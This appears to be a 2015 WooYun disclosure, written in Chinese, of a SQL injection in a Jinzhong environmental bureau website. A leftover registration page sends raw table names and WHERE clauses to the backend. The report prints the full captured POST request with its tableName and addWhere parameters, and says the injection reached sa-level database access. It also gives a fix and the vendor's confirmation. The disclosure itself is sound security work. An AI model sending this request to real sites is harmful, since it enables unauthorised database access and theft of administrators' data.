当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0128223

漏洞标题：某市环保局删除功能不完整残留页面导致全站信息泄露

相关厂商：cncert国家互联网应急中心

漏洞作者： M0nNoey

提交时间：2015-07-22 08:31

修复时间：2015-09-09 22:06

公开时间：2015-09-09 22:06

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-22： 细节已通知厂商并且等待厂商处理中
2015-07-26： 厂商已经确认，细节仅向厂商公开
2015-08-05： 细节向核心白帽子及相关领域专家公开
2015-08-15： 细节向普通白帽子公开
2015-08-25： 细节向实习白帽子公开
2015-09-09： 细节向公众公开

简要描述：

删除或者隐藏了一个功能，但是没隐藏干净，残留网页信息泄露

详细说明：

晋中市环保局国控企业自行监测发布系统注册页面残留
url:http://www.jzhb.gov.cn:8086/jzepb/login.jsp

晋中环保0_2.png


url: http://www.jzhb.gov.cn:8086/jzepb/js/login.js

<div id='login' class="content">
		<div class="main">
			<div class="logo"><h4></h4></div>
			<dl class="clearfix">
				<dt>用户名：</dt><dd><input type="text"  class="inp" id="username" name="username"/></dd>
				<dt>密码：</dt><dd><input type="password" class="inp" id="password" name="password"/></dd>
				<dd class="p10"><a id="submit" href="javascript:void(0)" >登录</a><a id="register" href="javascript:void(0)" >账号注册</a></dd>
			</dl>
		</div>
	</div>


function register(){
		window.location.href=rootPath+"/register.jsp";
}


访问register.jsp

晋中环保0_3.png


点击行业类别，获取数据时候进行抓包

晋中环保0_4.png


非常清晰的看到，往后台传的都是sql语句啊，表明，where部分，非常清楚
对数据包稍稍做修改，如下

POST /jzepb/common/jqgrid-getdatas.action HTTP/1.1
Host: www.jzhb.gov.cn:8086
Content-Length: 147
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.jzhb.gov.cn:8086
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.jzhb.gov.cn:8086/jzepb/tardeTree.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=977AA1CDC78A2B22EC1E6246DED40A56; JSESSIONID=0E2669DFCC9AA655E9166E48A65AD709; _gscu_1203350698=36770090guzbi495; _gscbrs_1203350698=1; CNZZDATA1000435818=1568663181-1436764865-null%7C1436774063
tableName=ZXJC_T_PARAM_TRADE&fields=id%2Cparentid%2Cname%2Cpicflag%2Cflag%2Csindex&addWhere=+1%3D1&isLowerCase=true&isKeyValue=true


然后注入。

晋中环保0_5.png

漏洞证明：

得到的数据库mssql server 2008 sa权限，数据不少，一个数据库里一百多个表，有不少数据库
数据如下

晋中环保4.png


晋中环保1.png


晋中环保5.png


包含晋中以及下辖的部分区的详细信息，以及好多系统的管理员，内网的管理员等信息。

晋中环保2.png


晋中环保3.png

修复方案：

如果不用的页面就干脆删了，或者去过滤字符，另外，不要直接传sql语句。。。

版权声明：转载请注明来源 M0nNoey@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-07-26 22:04

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给山西分中心，由其后续协调网站管理单位处置。

最新状态：

暂无